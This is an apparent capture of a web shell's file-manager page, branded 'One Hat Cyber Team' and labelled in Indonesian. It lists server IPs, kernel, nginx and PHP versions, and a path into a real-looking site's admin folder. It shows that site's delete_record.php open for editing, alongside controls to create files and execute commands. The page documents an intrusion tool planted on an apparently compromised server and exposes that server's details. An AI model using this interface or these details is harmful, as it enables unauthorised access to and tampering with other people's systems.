One Hat Cyber Team
Your IP :
3.146.176.29
Server IP :
50.28.103.30
Server :
Linux host.jcukjv-lwsites.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
Server Software :
nginx/1.24.0
PHP Version :
8.3.12
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
wwwroot
/
ef.electronharmony.com
/
2
/
admin
/
Edit File:
delete_record.php
<?php include '../mysql.php'; // 获取要删除的项目 ID $itemId = isset($_GET['id']) ? intval($_GET['id']) : 0; if ($itemId > 0) { // 查询要删除的记录,获取 logos 路径 $fetchSql = "SELECT logos FROM url_entries WHERE id = ?"; $fetchStmt = $conn->prepare($fetchSql); if ($fetchStmt) { $fetchStmt->bind_param("i", $itemId); $fetchStmt->execute(); $result = $fetchStmt->get_result(); if ($result->num_rows > 0) { $row = $result->fetch_assoc(); $logosPath = '../' . $row['logos']; // 假设 logos 是相对路径 // 删除记录 $stmt = $conn->prepare("DELETE FROM url_entries WHERE id = ?"); if ($stmt) { $stmt->bind_param("i", $itemId); if ($stmt->execute()) { // 删除 logos 文件 if (!empty($logosPath) && file_exists($logosPath)) { unlink($logosPath); } echo "<script>alert('Item and associated logo deleted successfully.'); window.location.href='home.php';</script>"; } else { echo "<script>alert('Failed to delete item: " . $stmt->error . "'); window.location.href='home.php';</script>"; } $stmt->close(); } else { echo "<script>alert('Database error: Unable to prepare delete statement.'); window.location.href='home.php';</script>"; } } else { echo "<script>alert('Record not found.'); window.location.href='home.php';</script>"; } $fetchStmt->close(); } else { echo "<script>alert('Database error: Unable to fetch record.'); window.location.href='home.php';</script>"; } } else { echo "<script>alert('Invalid item ID.'); window.location.href='home.php';</script>"; } $conn->close(); ?>
Simpan